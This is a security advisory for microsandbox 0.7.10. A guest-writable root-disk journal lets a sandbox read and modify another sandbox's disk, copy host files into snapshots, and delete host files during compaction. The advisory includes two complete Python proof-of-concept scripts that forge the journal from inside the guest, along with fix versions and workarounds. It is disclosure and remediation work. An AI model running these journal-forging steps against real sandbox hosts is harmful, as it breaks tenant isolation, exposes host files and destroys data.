Guest-controlled root-disk journal can expose host files in snapshots and delete files during compaction
Description
Related advisory: GHSA-3f94-vm6x-3jv3 covers cross-sandbox disk access from the same guest-writable root-disk journal. This report also demonstrates two additional impacts: snapshots can copy host files from outside the sandbox into an artifact, and compaction can delete files outside sandbox storage.
Summary
microsandbox 0.7.10 exposes root-disk.json through the guest-writable /.msb share and later trusts its host paths without confinement. After a host restart, a malicious guest can attach another sandbox’s disk and read and modify its contents. Snapshot creation can also copy host files into artifacts, and stopped compaction can delete files outside the sandbox.
Details
The runtime exposes <MSB_HOME>/sandboxes/<name>/runtime as the writable guest mount /.msb:
root-disk.json contains host disk-layer paths. Its validator checks schema, IDs, counts, and formats, but performs no canonical containment, .. rejection, or per-sandbox ownership check:
Three host actions produce distinct impacts:
- Restart: cross-sandbox disk attachment.
recover_runtime_owned_rootcompares the configured base only withlaunch_base. An attacker preserves its originallaunch_basewhile replacing the actual layer with a victim path.disk_specsetsread_only: false. - Snapshot: host-file copying.
load_runtime_owned_root_chainreturns journal-selected paths. Snapshot creation accepts regular files without checking their location and copies them into the snapshot artifact. - Compaction: outside-file deletion.
RetiredRootDisk::cleanupuses lexicalPath::starts_withbeforeremove_file. A path beginning with the runtime directory but containing..passes the check and resolves outside it.
The issue was confirmed on v0.7.10, commit c4ad9c64a39976ce82ee63ce0bb24123740e92e3. Source review indicates the shared code also affects macOS, but only Linux was reproduced.
While replicated, the bugs are made difficult to exploit through:
- A victim guest path not being easily guessable from the compromised guest.
- The scenario where an attacker has access to a guest and the snapshots is not likely, but if present opens a real exfil possibility direct from host.
- Compaction and its validation must complete before retired-layer deletion runs. Directories are not recursively deleted.
Affected Versions
This issue was confirmed on microsandbox 0.7.10. The shared local runtime code is also relevant to macOS; the supplied reproduction was run on Linux. The affected operations are local snapshot creation, root-disk compaction, and restart or restore of a sandbox whose guest can write the root-disk journal.
Patched Behavior
The fix is included in 0.7.12 and later. Runtime-owned journal state is kept in a host-controlled location and is authenticated against the configured sandbox root before recovery or snapshot use. Snapshot and compaction paths reject guest-selected files outside the sandbox, and compaction removes only private staging files rather than arbitrary paths from the journal.
Workarounds
Before upgrading, do not run untrusted guest code in affected local runtimes that will later restart, snapshot, restore, grow, or compact the sandbox. Treat snapshot artifacts from an affected runtime as potentially containing host files, and inspect or discard them before distribution.
Remediation
Upgrade to microsandbox 0.7.12 or later.
Proof of concept
Environment tested:
- Linux with working KVM
msb0.7.10- Python 3
- Ordinary user permissions; no root shell
poc.pyandsnapshot_compaction.pyin the same directory
The scripts select the local backend, create fresh temporary MSB_HOME and config paths, disable guest networking, and use only synthetic files and disposable sandboxes. No host directories are mounted and no credentials are used.
1. Cross-sandbox read and write
Run:
python3 poc.pyThe script:
- Creates a victim with a synthetic secret on its managed
upper.ext4, then stops it. - Creates an attacker and replaces only the attacker’s journal layer with the known victim path, retaining the attacker’s original
launch_base. - Stops and restarts the attacker.
- Requires the attacker to read the victim secret and write a marker.
- Stops the attacker, restarts the victim with its original journal, and requires the marker to be present.
Expected output:
[read] PASS: attacker read the stopped victim's synthetic secret
[write] PASS: attacker's write appeared after the victim restarted
PASS: cross-sandbox disk read and write reproduced; victim remained fixture-owned; cleanup passedThe VMs never attach the victim disk concurrently.
Python script:
#!/usr/bin/env python3
"""Reproduce cross-sandbox disk access through a poisoned root journal."""
import base64
import json
import os
from pathlib import Path
import shlex
import shutil
import sys
import tempfile
from snapshot_compaction import Msb, ReproError, create_sandbox, guest_write_journal, read_journal, require_local_backend, single_raw_journal
SECRET = "VICTIM-ONLY-SYNTHETIC-SECRET-7f3a91"
MARKER = "ATTACKER-WRITE-SYNTHETIC-MARKER-48c2b0"
def guest(msb, name, command, timeout=60):
return msb.run("exec", name, "--no-stdin", "--", "sh", "-c", command, timeout=timeout)
def guest_write(msb, name, path, content):
encoded = base64.b64encode(content.encode()).decode()
quoted = shlex.quote(path)
guest(msb, name, f"printf %s '{encoded}' | base64 -d > {quoted} && sync")
def guest_read(msb, name, path):
result = guest(msb, name, f"cat {shlex.quote(path)}")
return result.stdout.strip()
def main():
if sys.platform != "linux":
print("FAIL: this cross-sandbox reproduction requires Linux", file=sys.stderr)
return 1
binary = os.environ.get("MSB_BIN", "msb")
work = Path(tempfile.mkdtemp(prefix="msb-cross-sandbox-poc-"))
home = work / "home"
home.mkdir()
config = work / "config.json"
config.write_text("{}\n")
msb = Msb(binary, home, config)
victim = f"msb-xdisk-victim-{os.getpid()}"
attacker = f"msb-xdisk-attacker-{os.getpid()}"
names = [victim, attacker]
error = None
try:
version = msb.run("--version", timeout=15).stdout.strip()
print(f"Using {version}; isolated state {home}", flush=True)
require_local_backend(msb)
print("[victim] creating a synthetic secret on its private disk", flush=True)
create_sandbox(msb, victim)
guest_write(msb, victim, "/victim-secret.txt", SECRET + "\n")
if guest_read(msb, victim, "/victim-secret.txt") != SECRET:
raise ReproError("victim secret control failed")
victim_runtime = home / "sandboxes" / victim / "runtime"
victim_journal = read_journal(victim_runtime / "root-disk.json")
if len(victim_journal["layers"]) != 1:
raise ReproError("victim must have exactly one raw root layer")
victim_disk = Path(victim_journal["layers"][0]["path"])
expected_disk = home / "sandboxes" / victim / "upper.ext4"
if victim_disk != expected_disk or victim_journal["layers"][0]["format"] != "raw":
raise ReproError("victim disk escaped the fixture-owned managed-root path")
msb.run("stop", "-t", "30", victim, timeout=60)
print("[attacker] poisoning only the attacker's journal with the known victim path", flush=True)
create_sandbox(msb, attacker)
attacker_runtime = home / "sandboxes" / attacker / "runtime"
attacker_journal = read_journal(attacker_runtime / "root-disk.json")
original_base = attacker_journal.get("launch_base") or attacker_journal["layers"][0]["path"]
forged = single_raw_journal(attacker_journal, victim_disk)
forged["launch_base"] = original_base
if forged.get("launch_base") != original_base:
raise ReproError("attacker launch binding changed unexpectedly")
guest_write_journal(msb, attacker, forged)
if read_journal(attacker_runtime / "root-disk.json") != forged:
raise ReproError("attacker journal mutation was not observed on the host")
msb.run("stop", "-t", "30", attacker, timeout=60)
print("[host] restarting only the attacker with the poisoned journal", flush=True)
msb.run("start", attacker, timeout=120)
disclosed = guest_read(msb, attacker, "/victim-secret.txt")
if disclosed != SECRET:
raise ReproError(f"attacker read {disclosed!r}, want the synthetic victim secret")
print("[read] PASS: attacker read the stopped victim's synthetic secret", flush=True)
guest_write(msb, attacker, "/attacker-write-marker.txt", MARKER + "\n")
msb.run("stop", "-t", "30", attacker, timeout=60)
print("[victim] restarting only the victim with its original journal", flush=True)
msb.run("start", victim, timeout=120)
changed = guest_read(msb, victim, "/attacker-write-marker.txt")
if changed != MARKER:
raise ReproError(f"victim read {changed!r}, want the synthetic attacker marker")
if guest_read(msb, victim, "/victim-secret.txt") != SECRET:
raise ReproError("victim secret changed unexpectedly")
print("[write] PASS: attacker's write appeared after the victim restarted", flush=True)
except BaseException as caught:
error = caught
cleanup_errors = []
for name in reversed(names):
try:
result = msb.run("rm", "--force", name, timeout=90, check=False)
except BaseException as caught:
cleanup_errors.append(f"{name}: {caught}")
else:
if result.returncode != 0 and "sandbox not found" not in result.stderr.lower():
cleanup_errors.append(f"{name}: {result.stderr.strip()}")
if error is not None or cleanup_errors:
if error is not None:
print(f"FAIL: {error}", file=sys.stderr)
for item in cleanup_errors:
print(f"FAIL cleanup {item}", file=sys.stderr)
print(f"Evidence and isolated state preserved at {work}", file=sys.stderr)
return 1
shutil.rmtree(work)
print("PASS: cross-sandbox disk read and write reproduced; victim remained fixture-owned; cleanup passed")
return 0
if __name__ == "__main__":
sys.exit(main())2. Snapshot copying and compaction deletion
Run:
python3 snapshot_compaction.pyExpected output includes:
[snapshot] PASS: host canary was copied into archive member ...
[compaction] PASS: runtime-prefixed '..' path deleted only the target canary
PASS: snapshot host-file copy and compaction outside deletion reproduced; cleanup passedA fixed runtime should reject the forged paths, causing these reproductions to fail.
Python script:
#!/usr/bin/env python3
"""Reproduce guest-controlled root-disk journal reads and deletion with msb."""
import base64
import copy
import hashlib
import json
import os
from pathlib import Path
import shutil
import subprocess
import sys
import tarfile
import tempfile
CANARY_SIZE = 128 * 1024
class ReproError(RuntimeError):
pass
class Msb:
def __init__(self, binary, home, config):
self.binary = binary
self.env = os.environ.copy()
self.env["MSB_HOME"] = str(home)
self.env["MSB_CONFIG_PATH"] = str(config)
self.env["MSB_BACKEND"] = "local"
def run(self, *args, timeout=120, check=True):
command = [self.binary, *args]
try:
result = subprocess.run(
command,
env=self.env,
stdin=subprocess.DEVNULL,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
timeout=timeout,
)
except subprocess.TimeoutExpired as error:
raise ReproError(f"msb {args[0]} timed out after {timeout}s") from error
if check and result.returncode != 0:
shown = " ".join(arg if len(arg) < 160 else "<long argument>" for arg in args)
raise ReproError(
f"msb {shown} exited {result.returncode}\n"
f"stdout:\n{result.stdout}\nstderr:\n{result.stderr}"
)
return result
def make_canary(path, label):
marker = (f"MSB-JOURNAL-POC {label}; synthetic data only\n").encode()
path.write_bytes((marker * (CANARY_SIZE // len(marker) + 1))[:CANARY_SIZE])
return hashlib.sha256(path.read_bytes()).hexdigest()
def read_journal(path):
journal = json.loads(path.read_text())
layers = journal.get("layers")
if not isinstance(layers, list) or not layers:
raise ReproError(f"{path} has no root-disk layers")
for layer in layers:
if not isinstance(layer, dict) or not isinstance(layer.get("path"), str):
raise ReproError(f"{path} has an invalid layer")
return journal
def single_raw_journal(original, target):
journal = copy.deepcopy(original)
layer = dict(journal["layers"][0])
layer["path"] = str(target)
layer["format"] = "raw"
layer["integrity_root"] = None
journal["layers"] = [layer]
journal["growth_target"] = None
return journal
def escaping_base_journal(original, runtime, target):
journal = copy.deepcopy(original)
if len(journal["layers"]) < 3:
raise ReproError("compaction needs a base and at least two qcow2 layers")
relative = os.path.relpath(target, runtime)
if ".." not in Path(relative).parts:
raise ReproError("canary must be outside the runtime directory")
escaping = runtime / relative
if not str(escaping).startswith(str(runtime) + os.sep):
raise ReproError("failed to construct a runtime-prefixed escaping path")
journal["layers"][0]["path"] = str(escaping)
journal["layers"][0]["format"] = "raw"
journal["layers"][0]["integrity_root"] = None
journal["growth_target"] = None
return journal
def guest_write_journal(msb, name, journal):
encoded = base64.b64encode(
(json.dumps(journal, separators=(",", ":")) + "\n").encode()
).decode()
command = f"printf %s '{encoded}' | base64 -d > /.msb/root-disk.json && sync"
msb.run("exec", name, "--no-stdin", "--", "sh", "-c", command, timeout=60)
def require_local_backend(msb):
result = msb.run("context", "--format", "json", timeout=20)
info = json.loads(result.stdout)
if info.get("kind") != "local":
raise ReproError(f"refusing non-local backend: {info}")
def create_sandbox(msb, name):
msb.run(
"create", "-n", name,
"--root-disk", "512M", "-m", "256M", "--max-duration", "20m",
"--no-net", "alpine",
timeout=300,
)
def archive_contains(archive, expected, expected_size):
digest = hashlib.sha256(expected).hexdigest()
with tarfile.open(archive, "r:") as bundle:
for member in bundle:
if not member.isfile() or member.size != expected_size:
continue
source = bundle.extractfile(member)
if source is None:
continue
actual = hashlib.sha256()
while block := source.read(64 * 1024):
actual.update(block)
if actual.hexdigest() == digest:
return member.name
return None
def snapshot_case(msb, work, names):
name = f"msb-journal-copy-{os.getpid()}"
names.append(name)
print("[snapshot] creating a disposable managed-root sandbox", flush=True)
create_sandbox(msb, name)
runtime = Path(msb.env["MSB_HOME"]) / "sandboxes" / name / "runtime"
journal_path = runtime / "root-disk.json"
original = read_journal(journal_path)
canary = work / "snapshot-outside-canary"
make_canary(canary, "snapshot-copy")
forged = single_raw_journal(original, canary)
guest_write_journal(msb, name, forged)
if read_journal(journal_path) != forged:
raise ReproError("guest journal mutation was not observed on the host")
msb.run("stop", "-t", "30", name, timeout=60)
archive = work / "snapshot.tar"
print("[snapshot] capturing the poisoned journal to a plain tar archive", flush=True)
msb.run(
"snapshot", "create", "poc-copy", "--from-sandbox", name,
"-o", str(archive), "--plain-tar", "--quiet",
timeout=300,
)
member = archive_contains(archive, canary.read_bytes(), CANARY_SIZE)
if member is None:
raise ReproError("snapshot archive does not contain the outside canary")
print(f"[snapshot] PASS: host canary was copied into archive member {member}", flush=True)
def compaction_case(msb, work, names):
name = f"msb-journal-delete-{os.getpid()}"
names.append(name)
print("[compaction] creating a second disposable managed-root sandbox", flush=True)
create_sandbox(msb, name)
runtime = Path(msb.env["MSB_HOME"]) / "sandboxes" / name / "runtime"
journal_path = runtime / "root-disk.json"
for generation in (1, 2):
print(f"[compaction] sealing root generation {generation}", flush=True)
msb.run(
"snapshot", "create", f"poc-seal-{generation}",
"--from-sandbox", name, "--full", "--quiet",
timeout=300,
)
original = read_journal(journal_path)
canary = work / "compaction-outside-canary"
control = work / "compaction-control-canary"
make_canary(canary, "compaction-delete-target")
control_hash = make_canary(control, "compaction-untouched-control")
forged = escaping_base_journal(original, runtime, canary)
guest_write_journal(msb, name, forged)
if read_journal(journal_path) != forged:
raise ReproError("guest compaction journal mutation was not observed on the host")
msb.run("stop", "-t", "30", name, timeout=60)
print("[compaction] running stopped root compaction", flush=True)
result = msb.run(
"modify", name, "--compact", "--layers", "2", "--root-disk-only",
"--format", "json",
timeout=180,
)
report = json.loads(result.stdout)
if report.get("selected_layers", 0) < 2:
raise ReproError(f"compaction did not select two layers: {report}")
if canary.exists():
raise ReproError("outside canary survived stopped compaction")
if hashlib.sha256(control.read_bytes()).hexdigest() != control_hash:
raise ReproError("compaction changed the control canary")
print("[compaction] PASS: runtime-prefixed '..' path deleted only the target canary", flush=True)
def main():
if sys.platform != "linux":
print("FAIL: this journal reproduction requires Linux", file=sys.stderr)
return 1
binary = os.environ.get("MSB_BIN", "msb")
work = Path(tempfile.mkdtemp(prefix="msb-journal-poc-"))
home = work / "home"
home.mkdir()
config = work / "config.json"
config.write_text("{}\n")
msb = Msb(binary, home, config)
names = []
error = None
try:
version = msb.run("--version", timeout=15).stdout.strip()
print(f"Using {version}; isolated state {home}", flush=True)
require_local_backend(msb)
snapshot_case(msb, work, names)
compaction_case(msb, work, names)
except BaseException as caught:
error = caught
cleanup_errors = []
for name in reversed(names):
try:
result = msb.run("rm", "--force", name, timeout=90, check=False)
except BaseException as caught:
cleanup_errors.append(f"{name}: {caught}")
else:
if result.returncode != 0:
cleanup_errors.append(f"{name}: {result.stderr.strip()}")
if error is not None or cleanup_errors:
if error is not None:
print(f"FAIL: {error}", file=sys.stderr)
for item in cleanup_errors:
print(f"FAIL cleanup {item}", file=sys.stderr)
print(f"Evidence and isolated state preserved at {work}", file=sys.stderr)
return 1
shutil.rmtree(work)
print("PASS: snapshot host-file copy and compaction outside deletion reproduced; cleanup passed")
return 0
if __name__ == "__main__":
sys.exit(main())Impact
This is a sandbox isolation bypass and confused-deputy vulnerability involving untrusted pathnames.
Impacted users are those who run untrusted guest code and later snapshot, compact, restart, grow, or restore that sandbox. Multi-tenant services and automation are particularly exposed when sandbox names and disk paths are predictable.
Demonstrated consequences:
- Confidentiality: direct reading of another sandbox’s files after restart; host-file inclusion in snapshots.
- Integrity: persistent modification of another sandbox’s disk.
- Availability: deletion of host files outside the sandbox during compaction.
Host lifecycle action is required for the journal attacks. Snapshot disclosure additionally requires artifact access or distribution. Compaction requires a compatible disk chain and successful compaction before deletion occurs. No host code execution was demonstrated.